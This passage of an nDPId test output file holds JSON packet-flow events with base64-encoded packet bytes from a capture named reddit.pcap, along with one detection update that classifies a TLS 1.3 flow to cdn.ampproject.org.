gWLJhJaOSr4PCh3QqaxCcrNrQ6ISagLyDfhINPqmGXEBk1xG\/+J4\/8RTEAVr6g8mwQgD9nBP5jkvmZNWTGDPNRoBKs6j5vwndebLmDGBsNjGX7cK0+I2jtYM+CyPHyjKQJSvAzFAuCalCJH\/bzQvh5kSDvAAeyTkueBMM63BAYp3IVv3rAQ3wpSXeg\/wDUNEIup2PrtJA5TM5W4uCj52DRhE14dNjsrwnNaEddjeCxim6BWXgaTSl6I9Cd371bNi5b7wNy6EdXibPO8kJrAnh\/n8GTqb9PvfQupySIKI6nFjbG\/0zjzoIP0mpfXwV5u7DqD46+kOQ43BfRrUkRNgGfPAJI7fu5YlzBr6kvvX0mBdogp2fTifPjiVxhaPjEx7Vx780haIBX0fOT5tvuPkThgGKizX85IAyDOumHobaHwW7H7kdQIpZ1fcHL0ffejkK\/KOrtUS7G+ic1Opz+F3bofTILS1Cb+AQ\/zRtYlGw9v0BZ7B6PsMsKJQ4XO4fMObFQ5rkjjer93n8V7BNBcR4o62taTlURVQyef\/HS1cDXCDg1+5TuYTe7weHUJYSVR46Izr5BiBdF1+m7pSgMGY4f4MeE+77z5TQzXCUXcMO7iSfzdEYwsrq\/QsZJrSYY39g0X5uYw6tAQ\/6NplUxPzz4ZzV5eb\/UXgztzeAG3cy+tLbs02Vie7B\/aOUlSxEQd1j8HddZcmwSy0hS+s0xnXMcUw7v7hb7hd2zWE0rxJAJ0B7PGarzk\/MJNHsYT+HpsFBBzALZBYNZTqfFhE9MhdZuzFQwl6jr06Ybk0Kfbt4MgtBKi\/NjG1GKsJpC89nRI5lslOpJZedvNcNaDI3PyAXVMMtHQHQAyGKmqqYSheLMWCgYpub2VTlMNvrwo0uik436CE3Su1VTI1+R\/iNeA\/7ZzLOTjRGms\/4TKnCJBu0KKkYsuQiIYc8GrNcn0HYuDWWxat\/3azMcW+LmX2xDjxkCVthREiafMopXzHnanSNaRHQjyOpignCl0KScYE5JvL\/+5g30qD4Kg\/E2GnKsw5Me\/vMp6UgK1\/Kxzq7s69JIj7kN\/cZwA\/1m7Nk69g=="} +00455{"flow_id":50,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9364,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":995013,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDtx5ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttgBu8JSR+qlcJuMgBAB9UU5AAABAQgKGsMW48LXS+M="} +00455{"flow_id":50,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9365,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":995040,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDtx5ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttgBu8JSR+qlcKBEgBAB8kCEAAABAQgKGsMW48LXS+M="} +00455{"flow_id":50,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9366,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":995051,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDtx5ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttgBu8JSR+qlcKT8gBAB6zvTAAABAQgKGsMW48LXS+M="} +00455{"flow_id":50,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9367,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":995059,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDtx5ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttgBu8JSR+qlcKm0gBAB5DciAAABAQgKGsMW48LXS+M="} +00455{"flow_id":50,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9368,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":995066,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDtx5ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttgBu8JSR+qlcK5sgBAB2zJzAAABAQgKGsMW48LXS+M="} +02094{"flow_id":51,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9373,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996121,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu22it1t9dMt7V0gBgLMAKdAAABAQgKwtdL5BrDFrsWAwMAegIAAHYDA29WLRzWiQ0ImioVNDIYO41iJLk7j27Qk9oDZGuDXIlXIK9+Ya8AvxlseoGAhp8z2wcy4GRd\/2tgmLnTQoGAr7lmEwEAAC4AMwAkAB0AIBdS\/romPanFmyuVT0s9zT7IkQA156BPQbAJaxQqVspBACsAAgMEFAMDAAEBFwMDHFj41leHg97A+p0lMYtUEildFAyR59PZJCRMoM3jgJazAyiA9xG\/VsxYlxCHNYBE2vFtwW20BFF03RqA788OnPrh3GTHzP3lAz3jWERc0dk3Ir1+inYap1X0OG05m3uRgiefxhv\/o+eS+1ZvbD8+U2ZHzRQraGJvRUeAn5HYbvLS3DcM1xk2Hq75irnMXJwVUp9DwPJKRSwzFGphXhohkVQCz5veWQu1Wv\/wnmKYPK3y6eqMNChqoEoagQHtkrKnujt+oZgRI2Edxwb9cnM1oEveM4ipiH4pYLXQX\/fpZVySTX2pg7Gjd1Q0iVy0wL\/443rFarx4L2MSlypjxK5nf4KDU2WuZfx4BGeuYvt6BEggiyQri\/nRXFxu\/Oi0tMN95+ZY3olDW2o6vCCi99uNsJAPNao9dE7xShfObb2Zt+87uuq05NaDjvUgDxkKk6JGkcXaNXPe1BXekI1\/8gHAfp25jLYzXWKNGOaGNZuhSU5K3cpBRTfQmIQaWU7Ddua5L7vwPCrjqAHmdMdUOcANWASzRrASfazYrJL\/ujmEz6619MO73\/XU2c6CVUxC5JB56fRl2wih9FKuypRpkCad7L7CHzXUPbTJn\/NCsu0id0vQaXzrtPVAtd+nS+SzQGoN4oNb3ywaX6c2kuoq0WaUDlm81qtVBxYRxmDBbpYZ4MrFswGr7VcWKpe90UgOnnwffffk0YQoA5J7VJBUU6u64Kd+msVurM+2kzZEygB\/4opHfFI+\/JCqOtV425SyIwugnLQEeOJrcwsGqOpUUQRQ8LJSbpDcuS4lebK7lsoi56tTbDBO4Y5Tx0pher3B7nDuJsCk5pViL6RZIcdWQyKzyuj3S9a6IzvBssxWSii+d2mQApS4qNSScmenEWqXgQZvoZD40vge5FB\/4VFII1SKB3+ehB8APS35DZ9vY\/v0XPzDN4s4+mpkexEiU6ApdRMcL6omDp93i5swHeA7+lldeguJEn7WkaTJcarHPNnsDy8QictBN\/l06ShAmWRuFP497xJ4ieOHk\/Rnb2q2c1HOPv1kMsA4jGkWyKGBGYIc3hX8JqUNkdt4ds3m+CgNVHQnzxYuOlOKIfvVQcbVdY9bAGX1zMh+dOHMIY09d25xgelwetQ9MUipcWtpgF3GEKyg5exxyyn8HY8YQPerdj71oxHkB2UmfgdNGs63GAhXeTBHVxl9irmXsd6jcitxJ4P8DBGpTk9SsA0eVszW8QTztfcOoBDtYCEY4A+uioN9tQwsSRG1eVhQ3GM0j+0Cx7boGhxlvXb6SzxDw8SG691+RJh1RcdpFa3aMjeOiKdtHfTVHsMDVsz5DujuyVlyC5+q950emAm5b3d8pXuFvEIDnE2DZ++qEZxDFd9JJ0AkZ7Wm\/lw+RUa0nA5\/DXlGpiRG9MltPLU8cCOjB4fqwcYJpA=="} +00861{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":9373,"source":"reddit.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":6,"flow_first_seen":1605291690926,"flow_last_seen":1605291690996,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::2001","src_port":46810,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"cdn.ampproject.org","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02099{"flow_id":51,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9374,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996122,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu22it1vI9Mt7V0gBgLMHw5AAABAQgKwtdL5BrDFru02bKKzP269g45n6SfAu5WUd+HzY7xpvelvtKDGKNNWkaaPie5regE+InitlDLkJ\/GuXwcotvRCguM2VtVvOR\/ikvtZUd4X8AuBuCHSllLQj+63THebyqDlPJtmXHwtjtorpjN6UncprtXmf6l3gFu0qWjyiijJuaunlh4pYC\/KNN5jWVKgoAVKTtX0fc++aoEmrMxxPRGsvZoLTRSgxtm\/00MqGyrv9WI\/O5lepsKSUP\/zPl8Qfn5M0sXR6xmKjK+YNcEmFMXCKpKRhJZOIna00lySRicemDbbTnjRCee31pV0LZvGS0rq\/zUxpJ+a2GzkHn3jJkA+nG5m1l0LtgofQI2OaXiKWw1j9\/P8ON\/A34ivuiI+fZJoiRhrRE3F2ZuENaH93aNMT7S6LhoUgjUE0iJSLsD5HVHwcs2khlOHwaIF4AZVtSzYuRVPRONrLrpZtCpPuHIdsjdOdNtBrMtHKMVG7BsE3++JKaN3Bwhx2o+eEhTDLWbxSrxYWqJS1Em1pumrpy4xpr5CwN0LobH\/sAoggqDH7lYQVQrF2xkAQ0vVoaMEg6TFj3ABzz2pTvKaPcS3PwEPEZ+D4gIzi8QFcjHaqVYejVi5bH0kWpcfF0oEdNTn65\/pZQ1egoxR2Lf0BceZT\/xbfTl0Mtt2cHBV0PumEAAyVSwUksZLBpQ4ElYbO6WDHTcKZz+O5k8neRZVpjOXO7dU9zVOhZ\/PkPCpAU741cLxEH7oxjyGWCOzt3TOjli2mO1sARVBW\/3tyE6\/ygETP2IvMCYKIaMWQmjHFYEayzrqHlJ0hthRnPr9xd2ZfIgI+p65xqkYF9OU2lxRX1yFdy6V06slFKoKmELNOjTSQUfChupjrAWH3uP+qEGBN6hb8zz61XTcp57tfgGClVIikwXLFTEZLsGtbamW5MRiobl658VvOeSTlkf251NQF\/W8yE\/GicX4U4X63BGYghbuSLoh6RNZha8t17fNT9QU5n4yt+1zaAjVcn3L+06tA5tcb\/SJAayzyIm72EWIoIxQqU1snAO5A\/nOFXUdvl6A3c6TiFlQXNNMYLp5PCRCLVEnF3oQbk2psqC8yKf92pGZ730C06hkakH33ijDPfaWyAl1nl4afISC2kMmfxk6xG+5yTn4QYNO4x3isdFSY9wskTjKD14sq0nH3xnKMT5qYKG34B4YwUXWtOAMMV+7x9wv4OF4\/z2ocbDumEPcVgbXR3yKakL4jGCNqIy4+JqFU4VZmz4CNhlaCnEZAo0QkwlNFabLk9f0PEHITSgJYTTBFMVln8jBAP2gqmZFoC+hQFkRBImL72hH5Uyc62+u3eGgRIkHwkP0gy+f0E4in06\/2cJDP4F0EZsWEa10OH\/urEtvI0ga4VxSRc2nG+rhBcVcLZAYU2E523yKuNiJyhU0xutjVJ1c3Yg\/uAicK+LvsbJSqoQ4l1cOP52\/i81rcMW0rBuxAndxf98y+SDa8hR14HQgf8rTG88JCA6PYf7diCGypQ4ISvz8tLsCV9q7UY\/ls9XGO0M4M3\/9yfOLe8c0SQukcWDFH1xaLqoHrblNeiusgNVwGf8MYnEatdiMuLi2aIbBZU3IQ4XoupqNEpl8hXWHA=="} +02097{"flow_id":51,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9375,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996123,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu22it1wUdMt7V0gBgLMDI3AAABAQgKwtdL5BrDFrv5h1FHMS\/qjIy3fd7QX9exjVXpg3ZcMiWu9U859tgLxOuf5BF4j3uHLV+LcoVafXS0PvcitWYuG\/sljnG3eSDVRPYoP\/GkRYxnUDgNSuEZ80xoycoti9iJuQXSxaIgfnHJkexCfjFSelI9awnZbqMjVs2fsikIyhxBBWPFjjwZgpKHGnH0y0jEIX3fXazlyQcvraXoDB4\/0Ow4ZmcstEgZIxhYy0fvRE7I1i443a9ONjr+Vckm6i44sCaYrgMI147Nm9MHAsqnITKDrCttXyxaXudQ0h0SYO5IOzVL0BG+HaETchVcfBG+FJ6tOH4RUMB2KrBsPKxufHOq87P88pd0g9K0oeQuxAxEuBAobsRPRq0733vJQlgXX48y5zru6wa0of1Y1DEJGlVCAZzn4shL5h15fwL+jPoxC3J1fymGyX+5A04E67MQvC3bPZGfBOYoco7L\/9KSXBKBihbMYnZTthObCfntBTzJvIeoINttMnHjH+cqqkZWZiJXv6T4lm9eF5Y6z1FGs7o0mZWqPMRPIWhhupMg6Ln\/zGfjyLPcZeZGCWC\/+\/9dtFKfHBLsu86EQSbYNSrfPElXYi6J+9Trcd3U\/+S6ZcxElLCUghBJ+1Gj5kAbyVRnI5olJA\/O3fiN\/ItoRC+l\/eBU8jBqHezd46aoegR8ivO8dQ\/I3sI+sqazBx4wZoK5LLT+Tg4WyDel9bB0AYT04WRjyFZovD5P3URM7oku9E4axAnRFBpw1gPidNMvCSoTIuyyt7cBvEPVWz\/Oi5UoqIrQ44NP5FapAkvZG63UADSEOyz+Co5YQ2rwHEwT4IJbIGlS+MtDJglzIdKWphggE10B3vQEABOA81GDgXm9Nh1u8GduxjRL1QbhGZ3jF4bNYIwHjYzhkwQlGRBMcVUG9PN\/9zjdSUT2ZanCbPKHZJk3ZMxVaQ58mTedo+jGMP\/5OJL90rnblaXDAS4BBlIiwzcRdkGRm1fWKRq166vVXE6DOTi9SoyKlDlTxbiBi0xqQRpuMNNnVe0zyybJhPTm3rEdpy0YtPLeFL3kVn7GnInNxkWrZ8HAy+NMqDtKqazUlRVJmTXCd\/dR2mmcRHadKOttsVyy9jCm+XJuwPEy2nUZ1vlo+KL\/8IIRFaNSmoUST66+jZMfjhocApwgHwUpHMk3rrn11bNuH4wothOSIYNW\/mnGSp8y+95bUx3JCpN7Tf1W2IcgEhwgUSXPj+i1AQFSFXz+mWGUtsk1XWvdXgj455hiIzmljL8j3O4GgqusxuNxI2a66iFy1avTfJy6LJKszpooKTCUe\/SzO\/xFz3hviGJ9MmKdam1Pa8BJ1B08oE2szmc0fqw6DSuFvagFqjQjiYTk5zZk9ZDVTp39oQxq4mTnts3U2E+R57o8F9X+zeS\/AyiiasJ3y1aW333\/tzK2VuW4ZH2Go4AOs79g1hdhaodj5rjArtHmdIZ3G9Hf\/LAmm5lQO38Aod44dvv2z4fQiYDT1K7Rft2pSgajtwZNVa4oQ6u1JG7Jof6XeRMs5PRDORBls0d0z2ocgxRIXjJ36PS0jraqDlHIVpwZuAkN9hHjuQxKXSOD6f5uk5hFUssX+Uhr97vxbc6ZqZJw8w=="} +02096{"flow_id":51,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9376,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996124,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu22it1xf9Mt7V0gBgLMILhAAABAQgKwtdL5BrDFrvxcFqJWPUb20ALSF6rba3vUoBHXdT7qfuiEu2NQpWO8R\/PO\/q+wXVCzhx1cOneMlgmOFJ4jxss3kZSDBOWz1+ewx9f4visYq8unYGO0UIHu095Sgkfm1UHvNXwSqSEMlZ975rW8zsf+5GboczaZ66A\/Pyga+hIYrZnlDSilUnRYGdacTnK+E1n6btDfWTK\/+3bYcBMVhYM3Lo74L866LPo7RgQke7a3JVvZPtY68xIXzfol0r8UtJLezZ5lnhd4fw3tlfie8U4kO41g8PxCwztLQ4jLNi6uLwFUhytLLULXL73uPjGr869eFr8tG5+kj7+S7OdrI1wCHw+b1+UTrtStGHCZDHcyr4dZeEDDVJL0fJSy5xhYewKcowhCgQl+ZnWvrfpYO4FCzkFEUgyIjFfnMfPk+uydtmb9WiEg3y3eAlEOI2A3pHEo2cEH6xqlknNaJ+rrumsazLozI4I1Nd0q8G8m\/WhaCWxT+TrDxUkL5P4Rivcja2pk8HCFmHMPUBunlMP4WNuyKm2wVp4z1qVfogMMvbqxobc8m3ubZcc9Itiz\/iNAeqVCvPsSm5FblXCbVJB3+HX1UQyuxm0E5pGPTQR\/95SsqsjBCq5IN1iMvT3AldBQZJQs2XrGwV+bVBl3lS5fLt+8YiDdrYUxVkA0kZLVjOmIbs9dnEX2RpH6fs8FxNXEBErOeFlqx2PVDP\/GVqJC6P52wAJQhbvUbI5UF9V1BmbAu8SBZJASxTuT9+7nLYWMJllf4mUxqqE7iW7XJzKn\/UJZHq8DlXIYTHCfNPgX7l3MVilYXoaNt0db81xbXpqzBnmCuJ8NHQ1y3S83lV3jBBKwidyKtFvCmUsISzBqkHW4mu6CUkXpDyuENOkgVQvV487o\/n5pVj0D8mh3pVQyxwbSv6IDcxCizoXpZo4l2IvW5LOip4NuvRqUxA4\/6Sx0DiwRlbA0lEpvtAiwTWa4qSpAETF1BnRqdQwn9irKEzAckPZrL\/ihpryHAlYd\/66HLRPsDZfT6TkunXqZ5K3O+5BdFjv6OpKsOVpkznwLol7xxuP\/xHzzHRWdyeJvAKXeMDHjLx+jeN9SwLIOpP0nWIvYx0NEx7XMafsiaVOhlEhRwO4MEf\/T2TZ0fDWEuRNuEcwlhbyzuRCHzjVk4Ozly6vcTbMPdHYXTCs679XZhuJYh9jEBdHm2jX8esKFZLnjGY30vGZbqBhEnx9bw8EJXyrsyZSQYFfJMrOTyQXpjuld1mskl0iWxjJWffyY8n4kov2MqL9bHZW4UeljeTkKAfpLQlMZYmScmV\/yWUzfoEmUl2\/Pi1IdYFme68yVajyOfR3Hjo4H1563oF+6oRZHva2B\/tESvpSc916ZVstm1YGLMQue8VdcxLDlnSEkhZWH6ZeMAWdUvSv1d\/N5+z\/JRa0gc2iqsux4ZY3mic2C\/qbeomoQISOq4tJ9ceLmZaCVrvpQS8we5EIjz8wBySMP48AUArjTNgjR3Ny6pwTRBn739xXpbGESUPp3cfmmslBkXutF6QYtj7J1FDHkxGWir7ETlV0PCcv+YKv\/wsx\/pDnXt7rTp8rBJmO4Nd8GM0amX0vrjbvKCJNQRs2U97IWyG6Yw=="} +02102{"flow_id":51,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9377,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996125,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu22it1yrdMt7V0gBgLMNycAAABAQgKwtdL5BrDFrtrWlJvjeV1zU75mK0ucBXR0pFD8KyV6KsZ+ZSv06xGSRZRb6ITCLnOu2qwxUL3Ob19d9+l7Ev0SGNINORmvum6+xn\/ANw2lwiPtSqQ9g\/Bry2\/IaJmKNkQawt\/8FDfRIXZrxqJLuYja3rb9KVwMa2TWJK1mKaB9cnpDoGJgOsCvwiwgHKf71mAuchMtZYzXYEZUhkBg\/Kj6uuhkArIjbuaIQCDJAkXgyF\/zMn+UTLIylg6gkANZuDX\/Wq6l4qhoUeOASkxChbAuHdCud8gayAwMFHIS3RmoYUN3QL\/9ibCSpUuF6\/2FopwDWG\/dCpu+xnK2UqjJDZcbF6JLrMTynVoAsB528zMlhElkglpGGFFVfHkO+86jZjIIx2EUg\/fyoIP07yRh3N7dBAaekBBxfd9tClQ+29uEx3xyveEMW4R2tiznk26ydFwE3ZKrxnRInCQr0JBrZAJFqrJ42c4v51pG0RLkcXJmW\/pVkKw9fFgWQHNwZTPpwxuOnAIVCRjQaYGxhKTpruNJBDJHqvA1w43j\/ZniH5s11zgnQNI7fjaFmTAooW\/2SKm0Pt1UinZeAgndzs5zc4Ro6oXySdZi7ItYSz6WJzUIAxIj+d4Z2ZNQxhezmfm4aRGQ4M9Mak174lLlM84x0WzTBwQH1PXlMJIURAZKuj0odMAvTdNCVGMD5\/9KZHcbaHQaqITA7clB7ohIipGIld7UxAMKTVoFWel3clhHKeO+ifzIB9B7Gy+VMVzXtdqez8Uz9vyGxQ0DUSD5s5UFtBTe8dmSx4gSQ8QrlsXgqXqh\/o75EPadzhVgliLuPcGLFibM2d3nWCEKP4nCTKy65SMkOtXc5deCuHXn9JYQIjhcn5aRUaUlYfE48lD2kbgnw6Q+gfyhdLNco1x7X1thvItzB8jxpuXDQY13aNi2dbu+J5REvN3blaELX1w+n+IwQ+Jl3aa5HnIkcMnpZaRfI8lcvS5rz3OmoiMPMbpAO8iVafapnnDSWOfbda0yLAY3ImxckgmR\/Y54lDNjEUomiWU2\/m5pnIM\/KmGeKieN6SVnQvFknWTRO0IhhHObxQMJgafGi2IlfLLmaaE8wXjUbYlHlteq5DDBd7yfFgH7wiwTfntwWqaxs7MR7w0Zuac05JzjEO1BbzrOC5afs5CzZnN56iBH\/h+7o99BxcfpKm0AT0UOApOy2un93wJ7hmMWS44gTsWaBF5x1HImuvOMIDsMAXfLrQW+xHxR8vE5bDdAJVg2YTMu01yxXQRbY9gfPmmHdv4B7OWOF2RnNcK73uP00bjv\/CD\/YobO33as5yv\/MYSi4Tu3zeMC2ZtMFMugyFiHOK29u+5ukt8H+SAYwZcmML5TfR+6AEz3jxeJDyGV7ZDiU28UEnbTEd8T0\/7gwdA8Tw5uWMDdzfh7eQYVtU6Z40iDbRrvTNkGJr9x8MOblEIj5s\/r28ulz06k6eOUu\/BaEcNqhEvBsdJ\/tyArhDCQ6fWdpFm1mig3WImSxO8vNPE6iDEdbCMpAeH2nCViiFacJbMh4c1\/QoWICrniq4AehLBIXtaqisffpEfuBxcUwNne9rzvluPnNDV9gG8GEtIHDm0JUE2RyOLSG4Emp8UdQ=="} +02089{"flow_id":51,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9378,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996126,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgIAAAAAAAAIAEqAcsBIEmLB5kd7IUo3\/YpAbu22it1z29Mt7V0gBgLMIpmAAABAQgKwtdL5BrDFruoQmei\/qpGgVl4beDOmDSyKcrdOmE3ySTyvUU7XVniao3sL0iUbkJawR0Hqw1SkiqqHC2pgpwcnU6Y9NENS3Id7OVomItvSnYBqeV82s3Vp5QWtiU1jnF\/7STDZsifAFocPjw+tgEmJ2FVrcHYLVdZc+DqzWWYfBSz38e39Yl7eSJd1KR1UXj+DOTJDaHsuuLR5li2Fj9lXizA+tHX8GcVM5ipOpIQ2ms+GrgMUt07bufJ2L75A5rHOczhTLeJmx5fUeMxkSokLoEZJCYESKBEU1mnrMhC3MaRfuePuA2TRo3plgbhUR\/pzSCZ4YID+WE7E28Wqbv03hJJMUV9EdAvU9RBPw4AiRPywxDwU5LXXMwCnrHqQet9efVRhLOXwpLk7+FnJqebkSw1rKxCMoj4h94ek4gTZudB8nEVInyEFU7X8G3CrOmVFiyoVFfHqmJ41x5g+6W+RTf3Yx2JUDARRQtOPCsI1t0QlDW4YhCfFdb2FmsOR8Ug7+sA0Z+kYBaKVeDaEE4oyjjRJZT5vx7yhckATfvUr5FrmJuyic7ix8H0vM8TXjaKV8rSLMgeLKLxJOyX9qFG6RiWpilQV3gZ1UUEKylm5FcYx6yPY2bVhCEhfoRNtaI4rfQ986k8Cc1PfBPbFpsF\/C5dwn8zSt6nMt9TCcndvr3eSO+FmWbZaU8XBGT\/VNwCHUoyUA7z8Famqe3qfwZ3TviAiHB873K63M2NNw4bg9lTULyD1DvwPIuBq6VL3VZkFpMRPdVswgzcwtzkr0iMtfUWmfbU6JaeP6MR\/qerlZdm3ZDFToFa\/mlZvNwSkPPJqCsNnxEnIGGTMhqbqc9ltUPTQuDunTQn9w4ZEPz8BFZDKqa0k+FAFqTofuame3NasT+gA0MiQLZdDWHyaLkRqjSC9Iu6sSvt0rD5t6Hu1XQ5XMvvMwho\/Ny\/ZlRoAjgKth2F6GIDQQvJv7bF5kg5Jjvwy5RHHhWAlaw3xucVMkt3Ozqv9IT3upaOBe2jtEs6rDjYWNPElW38sYieF4gug7HsrmLmzDP2xRXWzto8vIObbOKZ+P4BZgO5dbI0Y4lQ7UpqM5aItG1uREGh+YVv6nHL074wjV6nxIQmn95UmvxD0lAu4gevIuQrD1mWuQP5nI8jS4UwXW45gUdM3SBFRMqP0aDQK5w90x5QWfDJuSO\/7RYqyZOwJhL6wVraBYgKcVcCQ6mSnYzAvmEgkkNv+c\/\/7iFOLN905CoKNpd50w1hiHKTrvqU0bVWaL1\/CObaLnhLq8q3O5jesI8\/WCGUil1yPDJbabHUL0NRHS789JZ6qqfDWaRrBNufaD4nWFJdtt9VcQGRvaYhHKuKXt3omMOLfd5Tec9Ns9Hu0EkyeG2V+73tvkVRylghjtt+WIYcy5q\/24bjco7qhXoEWiPkiRIJN57pmyL2np4gMeokAqJWNwngqihElTIqXk3SWcRiiLJcqOosDg2QHVCL1QKch9kM1y5FitwTvQELMNjx3JTFSlQk3HyWeYZwahdxbpLMutTu2pMCLheU8rLqYGsWlgsaNJuTFTtx0L3ANcVVuQrnZT8xopkaZgo896SjAWvRQmK+cDX4tTSkBlXCBknbSQ=="} +00455{"flow_id":51,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9379,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996151,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDhnPACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttoBu0y3tXQrdbyPgBAB9aY9AAABAQgKGsMW5cLXS+Q="} +00455{"flow_id":51,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9380,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291690,"pkt_ts_usec":996179,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDhnPACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACABttoBu0y3tXQrdcFHgBAB8qGIAAABAQgKGsMW5cLXS+Q="} 